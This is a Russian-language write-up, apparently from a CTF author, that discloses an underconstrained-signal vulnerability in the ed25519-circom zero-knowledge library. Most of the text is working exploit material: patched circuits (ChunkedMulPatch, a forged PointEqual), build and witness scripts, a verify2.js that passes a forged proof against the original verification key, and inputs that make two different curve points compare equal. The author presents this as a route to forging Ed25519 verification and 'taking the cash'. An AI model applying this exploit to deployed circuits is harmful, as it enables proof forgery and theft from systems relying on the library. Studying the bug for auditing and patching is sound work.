Оригинальный репозиторий: https://github.com/Electron-Labs/ed25519-circom
Сплойт: https://github.com/uvicorn/ed25519-circom-bug/tree/main/exploit
Почитав всякие аудиты я заметил, что львиная доля уязвимостей на circom - это integer overflow, который получают из-за неправильной проверки, что число находится в промежутке [a; b] (например https://github.com/0xPARC/zk-bug-tracker/tree/main#1-dark-forest-v03-missing-bit-length-check ).
Реализация в данной библиотеке:
pragma circom 2.0.0;
include "../node_modules/circomlib/circuits/bitify.circom";
template LessThanPower(base) { // in < 2^base
signal input in;
signal output out;
out <-- 1 - ((in >> base) > 0);
out * (out - 1) === 0;
}
template LessThanBounded(base) { // in[0] < in[1] < 2^base
signal input in[2];
signal output out;
component lt1 = LessThanPower(base);
lt1.in <== in[0];
component lt2 = LessThanPower(base);
lt2.in <== in[1];
out <-- in[0] < in[1];
out * (out - 1) === 0;
}Небольшое отступление по поводу работы circom. Как сказано в https://docs.circom.io/background/background/
In summary, zk-SNARK proofs are an specific type of zero-knowledge proofs that allow you to prove that you know a set of signals (witness) that match all the constraints of a circuit without revealing any of the signals except the public inputs and the outputs.
Оператор <-- присваивает значение сигналу, а <== работает как
signal out;
out === val; // добавляется ограничение на out
out <-- val;Если ограничения на сигнал нет, то в out <-- val мы можем заменить val на любое свое значение, лишь бы оно подходило под другие констреинты. Тогда почему бы не использовать <== всегда. Дело в оптимизации: чем больше ограничений, тем дольше проверка и компиляция (свои мучения с этим я опишу далее).
Вернемся к нашему коду.
template LessThanPower(base) { // in < 2^base
signal input in;
signal output out;
//out <-- 1 - ((in >> base) > 0);
out <--1;
out * (out - 1) === 0;
}Именно об этом и было сказано выше. Единственное ограничение - out*(out-1)=0.
Верификатору, чтобы сказать, верно ли доказательство, нужны только сигналы типа input и сам пруф. Поэтому мы можем создать свою схему, сохранив проверку констрейнтов чужой схемы. Если мы сгенерим proof на основе нашей схеме, то верификацию на основе чужой она тоже пройдет. Это основной подход эксплуатации схем ZKP на circom.
Скрипт для компиля (Примечание: конкретно в нашем случае пишем circom --O0 ...)
#!/bin/bash
circom circuits/$1.circom --r1cs --wasm -o ./build/
# export zkey for proof generation
npx snarkjs groth16 setup ./build/$1.r1cs powersOfTau28_hez_final_12.ptau ./build/keys/$1_circuit_0000.zkey
# for proof verification
npx snarkjs zkey export verificationkey ./build/keys/$1_circuit_0000.zkey ./build/keys/$1_verification_key.jsonИ verify2.js:
const snarkjs = require('snarkjs')
const fs = require("fs");
async function verify(){
const { proof, publicSignals } = await snarkjs.groth16.fullProve(
{ in : "70368744177664"}, // 2^46
"build/test2_js/test2.wasm", // exploit circuit code and .zkey (zkey same with original)
"build/keys/test2_circuit_0000.zkey");
const vKey = JSON.parse(fs.readFileSync("build/keys/test_verification_key.json"));// verification_key of original circuit
const res = await snarkjs.groth16.verify(vKey, publicSignals, proof);
if (res === true) {
console.log("Verification OK");
} else {
console.log("Invalid proof");
}
}
verify().then(() => {
process.exit(0);
});И получаем желанное
uvicorn@Uvicorn:/mnt/d/Projects/circom_test$ node verify2.js
OUT 1Идем дальше
template LessThanBounded(base) { // in[0] < in[1] < 2^base
signal input in[2];
signal output out;
component lt1 = LessThanPower(base);
lt1.in <== in[0];
component lt2 = LessThanPower(base);
lt2.in <== in[1];
out <-- in[0] < in[1];
out * (out - 1) === 0;
}Во-первых, тут нет проверки результата LessThanPower, то есть условие <2^base не выполняется. Во-вторых, out <-- in[0] < in[1] мы сплойтим точно так же.
Итого: LessThanPower и LessThanBounded полностью под нашим контролем.
Поискав где используется поломанный LessThanPower, обнаруживаем ChunkedMul(m,n,base) и ChunkedAdd(m,n,base). Эти функции отвечают за работу с BigInt. Т.к. в circom мы работаем в конечном поле, да еще и меньшем, чем поле ed25519, то нельзя просто сложить два числа по модулю кривой Эдвардса, т.к. мы получим integer overflow. Поэтому используется BigInt, в котором обычное число переводят в массив чанков, где каждый чанк <2**base.
def conv_to_chunks(base,k,p): # p - our int
return [(p>>(i*base))&(2**base-1) for i in range(k)]
def conv_from_chunks(base,k,chunks): # k - length of array # base - bit_length
return sum(chunks[i]<<(i*base) for i in range(k))Итак, взглянем на реализацию:
template ChunkedMul(m, n, base){
signal input in1[m];
signal input in2[n];
signal pp[n][m+n-1];
signal sum[m+n-1];
signal carry[m+n];
signal output out[m+n];
var power = 2 ** base;
var i;
var j;
component lt1[m];
for (i = 0; i < m; i++) {
lt1[i] = LessThanPower(base); // Vuln
lt1[i].in <== in1[i];
lt1[i].out === 1;
}
component lt2[n];
for (i = 0; i < n; i++) {
lt2[i] = LessThanPower(base); // VULN
lt2[i].in <== in2[i];
lt2[i].out === 1;
}
for (i = 0; i < n; i++){
for (j = 0; j < m+n-1; j++){
if (j<i){
pp[i][j] <== 0;
}
else if (j>=i && j<=m-1+i){
pp[i][j] <== in1[j-i] * in2[i];
}
else {
pp[i][j] <== 0;
}
}
}
var vsum = 0;
for (j=0; j<m+n-1; j++){
vsum = 0;
for (i=0; i<n; i++){
vsum = vsum + pp[i][j];
}
sum[j] <== vsum;
}
carry[0] <== 0;
for (j = 0; j < m+n-1; j++) {
out[j] <-- (sum[j] + carry[j]) % power;
carry[j+1] <-- (sum[j] + carry[j]) \ power;
sum[j]+carry[j] === carry[j+1] * power + out[j];
}
out[m+n-1] <-- carry[m+n-1];
component lt[m+n];
for(i = 0; i< m+n; i++) {
lt[i] = LessThanPower(base); // VULN
lt[i].in <== out[i];
out[i] * lt[i].out === out[i];
}
}Следующий цикл проверяет что out[i] < 2^base:
component lt[m+n];
for(i = 0; i< m+n; i++) {
lt[i] = LessThanPower(base); // VULN
lt[i].in <== out[i];
out[i] * lt[i].out === out[i];
}Мы это уже обошли, поэтому в сухом остатке получаем:
template ChunkedMul(m, n, base){
signal input in1[m];
signal input in2[n];
signal pp[n][m+n-1];
signal sum[m+n-1];
signal carry[m+n];
signal output out[m+n];
var power = 2 ** base;
var i;
var j;
/*component lt1[m];
for (i = 0; i < m; i++) {
lt1[i] = LessThanPower(base); // Vuln
lt1[i].in <== in1[i];
lt1[i].out === 1;
}
component lt2[n];
for (i = 0; i < n; i++) {
lt2[i] = LessThanPower(base); // VULN
lt2[i].in <== in2[i];
lt2[i].out === 1;
}*/
for (i = 0; i < n; i++){
for (j = 0; j < m+n-1; j++){
if (j<i){
pp[i][j] <== 0;
}
else if (j>=i && j<=m-1+i){
pp[i][j] <== in1[j-i] * in2[i];
}
else {
pp[i][j] <== 0;
}
}
}
var vsum = 0;
for (j=0; j<m+n-1; j++){
vsum = 0;
for (i=0; i<n; i++){
vsum = vsum + pp[i][j];
}
sum[j] <== vsum;
}
carry[0] <== 0;
for (j = 0; j < m+n-1; j++) {
out[j] <-- (sum[j] + carry[j]) % power;
carry[j+1] <-- (sum[j] + carry[j]) \ power;
sum[j]+carry[j] === carry[j+1] * power + out[j];
}
out[m+n-1] <-- carry[m+n-1];
/*component lt[m+n];
for(i = 0; i< m+n; i++) {
lt[i] = LessThanPower(base); // VULN
lt[i].in <== out[i];
out[i] * lt[i].out === out[i];
}*/
}Опа, еще раз используется <-- вместо <==, то есть мы опять можем закинуть в out[j] и carry[j] свой ввод:
var power = 2 ** base;
...
carry[0] <== 0;
for (j = 0; j < m+n-1; j++) {
out[j] <-- (sum[j] + carry[j]) % power;
carry[j+1] <-- (sum[j] + carry[j]) \ power;
sum[j]+carry[j] === carry[j+1] * power + out[j];
}
out[m+n-1] <-- carry[m+n-1];Хотелось бы опять подменить out, но на этот раз есть проверка sum[j]+carry[j] === carry[j+1] * power + out[j]. Мы знаем sum[j], зависящее только от введенных чанков, power=2^base и заметим, что больше условий на carry никаких не накладывают(кроме carry[0]=0), поэтому мы можем вертеть его как хотим.
j=0: sum[0] == c[1]*power + need_out[0] => c[1]*power = sum[0]-need_out[0]
j=1: sum[1] + c[1] == c[2]*power + need_out[1] => c[2]*power = sum[1] + c[1] - need_out[1]
j=...
Получается, массив carry строится линейными уравнениями,которые мы решаем, после чего подменяем out. Ура патч:
var need_out[m+n-1] = [1,2,3,4,5,6];
carry[0] <== 0;
for (i = 0; i < m+n-1; i++) {
// out[j] <-- (sum[j] + carry[j]) % power;// VULN
// carry[j+1] <-- (sum[j] + carry[j]) \ power;
out[i] <-- need_out[i];
carry[i+1] <-- (sum[i]+ carry[i]-need_out[i])/power;
sum[i]+carry[i] === carry[i+1] * power + out[i];
log("MulOut", out[i]);
}
out[m+n-1] <-- need_out[m+n-1];Реализация ChunkAdd аналогичная:
var numOutputs = calculateNumOutputs(m, n, base); // m+1
...
carry[0] <== 0;
for (i = 0; i < m; i++){
out[i] <-- (psum[i] + carry[i]) % power;
carry[i + 1] <-- (psum[i] + carry[i]) \ power;
psum[i] + carry[i] === carry[i + 1] * power + out[i];
}
for (i = m; i < numOutputs-1; i++) {
out[i] <-- carry[i] % power;
carry[i + 1] <-- carry[i] \ power;
}
out[numOutputs-1] <== carry[numOutputs-1];
...Единственное отличие - констрейнт в конце, который не дает подменить out[numOutputs-1].
На этот раз ищем где используется ChunkedMul. Ура! Почти в каждой функции, отвечающей за работу с точками эллиптической кривой.
template PointEqual() {
signal input p[3][3];
signal input q[3][3];
signal output out;
var i;
var j;
component mul[4];
for (i=0; i<4; i++) {
mul[i] = ChunkedMul(3, 3, 85); // ChunkedMul USAGE
}
for(i=0; i<3; i++) {
// P[0] * Q[2]
mul[0].in1[i] <== p[0][i];
mul[0].in2[i] <== q[2][i];
// Q[0] * P[2]
mul[1].in1[i] <== q[0][i];
mul[1].in2[i] <== p[2][i];
// P[1] * Q[2]
mul[2].in1[i] <== p[1][i];
mul[2].in2[i] <== q[2][i];
// Q[1] * P[2]
mul[3].in1[i] <== q[1][i];
mul[3].in2[i] <== p[2][i];
}
component mod[4];
for (i=0; i<4; i++) {
mod[i] = ModulusWith25519Chunked51(6);
}
for(i=0; i<6; i++) {
// (P[0] * Q[2]) % p
mod[0].in[i] <== mul[0].out[i];
// (Q[0] * P[2]) % p
mod[1].in[i] <== mul[1].out[i];
// (P[1] * Q[2]) % p
mod[2].in[i] <== mul[2].out[i];
// (Q[1] * P[2]) % p
mod[3].in[i] <== mul[3].out[i];
}
// output = (P[0] * Q[2]) % p == (Q[0] * P[2]) % p && (P[1] * Q[2]) % p == (Q[1] * P[2]) % p
component equal[2][3];
component and1[3];
component and2[2];
for (j = 0; j < 2; j++) {
equal[j][0] = IsEqual();
equal[j][0].in[0] <== mod[2 * j].out[0];
equal[j][0].in[1] <== mod[2 * j + 1].out[0];
}
and1[0] = AND();
and1[0].a <== equal[0][0].out;
and1[0].b <== equal[1][0].out;
for (i=1; i<3; i++) {
for (j = 0; j < 2; j++) {
equal[j][i] = IsEqual();
equal[j][i].in[0] <== mod[2 * j].out[i];
equal[j][i].in[1] <== mod[2 * j + 1].out[i];
}
and1[i] = AND();
and1[i].a <== equal[0][i].out;
and1[i].b <== equal[1][i].out;
and2[i-1] = AND();
and2[i-1].a <== and1[i-1].out;
and2[i-1].b <== and1[i].out;
}
out <== and2[1].out;
}Точки кривой кодируются в матрицу 3 на 3. P содержит (X,Y,Z), а X = P[0] содержит 3 чанка bigint.
Как написано в комментарии, функция проверяет (P[0] * Q[2]) % p == (Q[0] * P[2]) % p && (P[1] * Q[2]) % p == (Q[1] * P[2]) % p.
Умножение, естественно, использует ChunkedMul.
Сплойтим:
pragma circom 2.0.0;
include "../circuits/scalarmul.circom";
include "../circuits/modulus.circom";
include "../circuits/point-addition.circom";
include "../circuits/pointcompress.circom";
include "../node_modules/@electron-labs/sha512/circuits/sha512/sha512.circom";
include "../node_modules/circomlib/circuits/comparators.circom";
include "../node_modules/circomlib/circuits/gates.circom";
template ChunkedMulPatch(m, n, base,need_out){ //base 2**51 multiplier
signal input in1[m];
signal input in2[n];
signal pp[n][m+n-1];
signal sum[m+n-1];
signal carry[m+n];
signal output out[m+n];
var power = 2 ** base;
var i;
var j;
component lt1[m];
for (i = 0; i < m; i++) {
lt1[i] = LessThanPower(base);
lt1[i].in <== in1[i];
lt1[i].out === 1;
}
component lt2[n];
for (i = 0; i < n; i++) {
lt2[i] = LessThanPower(base);
lt2[i].in <== in2[i];
lt2[i].out === 1;
}
for (i = 0; i < n; i++){
for (j = 0; j < m+n-1; j++){
if (j<i){
pp[i][j] <== 0;
}
else if (j>=i && j<=m-1+i){
pp[i][j] <== in1[j-i] * in2[i];
}
else {
pp[i][j] <== 0;
}
}
}
var vsum = 0;
for (j=0; j<m+n-1; j++){
vsum = 0;
for (i=0; i<n; i++){
vsum = vsum + pp[i][j];
}
sum[j] <== vsum;
}
carry[0] <== 0;
for (i = 0; i < m+n-1; i++) {
// out[j] <-- (sum[j] + carry[j]) % power;// VULN the same
// carry[j+1] <-- (sum[j] + carry[j]) \ power;
out[i] <-- need_out[i];
carry[i+1] <-- (sum[i]+ carry[i]-need_out[i])/power;
//Note: removing this line does not change the no of constraints
sum[i]+carry[i] === carry[i+1] * power + out[i];
log("MulOut", out[i]);
}
out[m+n-1] <-- need_out[m+n-1];
log("MulOut", out[m+n-1]);
component lt[m+n];
for(i = 0; i< m+n; i++) {
lt[i] = LessThanPower(base); // VULN the same
lt[i].in <== out[i];
out[i] * lt[i].out === out[i];
}
}
template PointEqual() {
signal input p[3][3];
signal input q[3][3];
signal output out;
var i;
var j;
component mul[4];
var need_out[6] =[1,2,3,4,5,6]; // EXPLOIT PART
for (i=0; i<4; i++) {
mul[i] = ChunkedMulPatch(3, 3, 85,need_out);
}
for(i=0; i<3; i++) {
// P[0] * Q[2]
mul[0].in1[i] <== p[0][i];
mul[0].in2[i] <== q[2][i];
// Q[0] * P[2]
mul[1].in1[i] <== q[0][i];
mul[1].in2[i] <== p[2][i];
// P[1] * Q[2]
mul[2].in1[i] <== p[1][i];
mul[2].in2[i] <== q[2][i];
// Q[1] * P[2]
mul[3].in1[i] <== q[1][i];
mul[3].in2[i] <== p[2][i];
}
component mod[4];
for (i=0; i<4; i++) {
mod[i] = ModulusWith25519Chunked51(6);
}
for(i=0; i<6; i++) {
// (P[0] * Q[2]) % p
mod[0].in[i] <== mul[0].out[i];
// (Q[0] * P[2]) % p
mod[1].in[i] <== mul[1].out[i];
// (P[1] * Q[2]) % p
mod[2].in[i] <== mul[2].out[i];
// (Q[1] * P[2]) % p
mod[3].in[i] <== mul[3].out[i];
}
// output = (P[0] * Q[2]) % p == (Q[0] * P[2]) % p && (P[1] * Q[2]) % p == (Q[1] * P[2]) % p
component equal[2][3];
component and1[3];
component and2[2];
for (j = 0; j < 2; j++) {
equal[j][0] = IsEqual();
equal[j][0].in[0] <== mod[2 * j].out[0];
equal[j][0].in[1] <== mod[2 * j + 1].out[0];
}
and1[0] = AND();
and1[0].a <== equal[0][0].out;
and1[0].b <== equal[1][0].out;
for (i=1; i<3; i++) {
for (j = 0; j < 2; j++) {
equal[j][i] = IsEqual();
equal[j][i].in[0] <== mod[2 * j].out[i];
equal[j][i].in[1] <== mod[2 * j + 1].out[i];
}
and1[i] = AND();
and1[i].a <== equal[0][i].out;
and1[i].b <== equal[1][i].out;
and2[i-1] = AND();
and2[i-1].a <== and1[i-1].out;
and2[i-1].b <== and1[i].out;
}
out <== and2[1].out;
log("PointEqual OUT", out);
}
template Main(){
signal input p[3][3];
signal input q[3][3];
signal output out;
component equal = PointEqual();
equal.p <==p;
equal.q <==q;
out <== equal.out;
log("PointEqual OUT", out);
}
component main { public [p,q] } = Main();Скрипт для запуска:
#!/bin/bash
node ./build/$1_js/generate_witness.js ./build/$1_js/$1.wasm ./$1_input.json ./$1_out.wtns
snarkjs wej ./$1_out.wtns ./$1_out.json
cat $1_out.json
rm $1_out.wtns $1_out.jsonexploit_input.json:
{
"p":[["36245239928534522998831187", "20441617585047796081800223", "20276043402741325612916412"], ["28040900253166149515255089", "21161190428608711201904680", "19523128480965831968406086"], ["35895957713693873153240040", "23326598138986397476944807", "28871573624713874504111054"]],
"q":[["31850697423991328045531389", "24534849580995022767332028", "34566918250851619722301330"], ["30440605044482897331169344", "27079930853918634083850484", "25795372592150835787210594"], ["32429060792533852110089864", "38515334356210648802534078", "35249537920354059911489058"]]
}Как видите, P и Q разные :)
Запускаем:
Ура, мы обошли PointEqual
template Ed25519Verifier(n) {
assert(n % 8 == 0);
signal input msg[n];
signal input A[256];
signal input R8[256];
signal input S[255];
signal input PointA[4][3];
signal input PointR[4][3];
signal output out;
var G[4][3] = [[6836562328990639286768922, 21231440843933962135602345, 10097852978535018773096760],
[7737125245533626718119512, 23211375736600880154358579, 30948500982134506872478105],
[1, 0, 0],
[20943500354259764865654179, 24722277920680796426601402, 31289658119428895172835987]
];
var i;
var j;
component compressA = PointCompress();
component compressR = PointCompress();
for (i=0; i<4; i++) {
for (j=0; j<3; j++) {
compressA.P[i][j] <== PointA[i][j];
compressR.P[i][j] <== PointR[i][j];
}
}
for (i=0; i<256; i++) {
compressA.out[i] === A[i];
compressR.out[i] === R8[i];
}
component hash = Sha512(n+256+256);
for (i=0; i<256; i+=8) {
for(j=0; j<8; j++) {
hash.in[i+j] <== R8[i+(7-j)];
hash.in[256+i+j] <== A[i+(7-j)];
}
}
for (i=0; i<n; i+=8) {
for(j=0; j<8; j++) {
hash.in[512+i+j] <== msg[i+(7-j)];
}
}
component bitModulus = ModulusWith252c(512);
for (i=0; i<512; i+=8) {
for(j=0; j<8; j++) {
bitModulus.in[i+j] <== hash.out[i + (7-j)];
}
}
// point multiplication s, G
component pMul1 = ScalarMul();
for(i=0; i<255; i++) {
pMul1.s[i] <== S[i];
}
for (i=0; i<4; i++) {
for (j=0; j<3; j++) {
pMul1.P[i][j] <== G[i][j];
}
}
// point multiplication h, A
component pMul2 = ScalarMul();
for (i=0; i<253; i++) {
pMul2.s[i] <== bitModulus.out[i];
}
pMul2.s[253] <== 0;
pMul2.s[254] <== 0;
for (i=0; i<4; i++) {
for (j=0; j<3; j++) {
pMul2.P[i][j] <== PointA[i][j];
}
}
component addRH = PointAdd();
for (i=0; i<4; i++) {
for (j=0; j<3; j++) {
addRH.P[i][j] <== PointR[i][j];
addRH.Q[i][j] <== pMul2.sP[i][j];
}
}
component equal = PointEqual(); // NEED EXPLOIT HERE
for(i=0; i<3; i++) {
for(j=0; j<3; j++) {
equal.p[i][j] <== pMul1.sP[i][j];
equal.q[i][j] <== addRH.R[i][j];
}
}
out <== equal.out;
}Мы умеем подменять результат PointEqual. Нам осталось лишь запустить Ed25519Verifier с рандомными данными и забирать cash$$$.
А вот нихуя! Чтобы эту либу скомпилировать полностью (а не выдирать отдельные куски вроде ChunkedMul) нужен, блять, кластер AWS:
Я у себя на машине, естественно, пробовал: либо компилятору не хватает оперативы, либо отключаем оптимизацию констрейнтов через circom --O0 ... и умираем т.к. мусорных констрейнтов в 14 раз больше, чем на картинке, и для их проверки нужен бинарь не на 4 гига, а уже на 36. О времени молчу
Этот 0day должен был отправиться на CrewCTF24, но из-за ужасной оптимизации либы, игроки не смогли бы запустить Ed25519Verifier у себя локально, поэтому вы читаете эту статью на полгода раньше. Все равно в либе всего 2 коммита за 2 года.
К слову, на CrewCTF будут 0day и без меня, приходите 10-12 Мая :)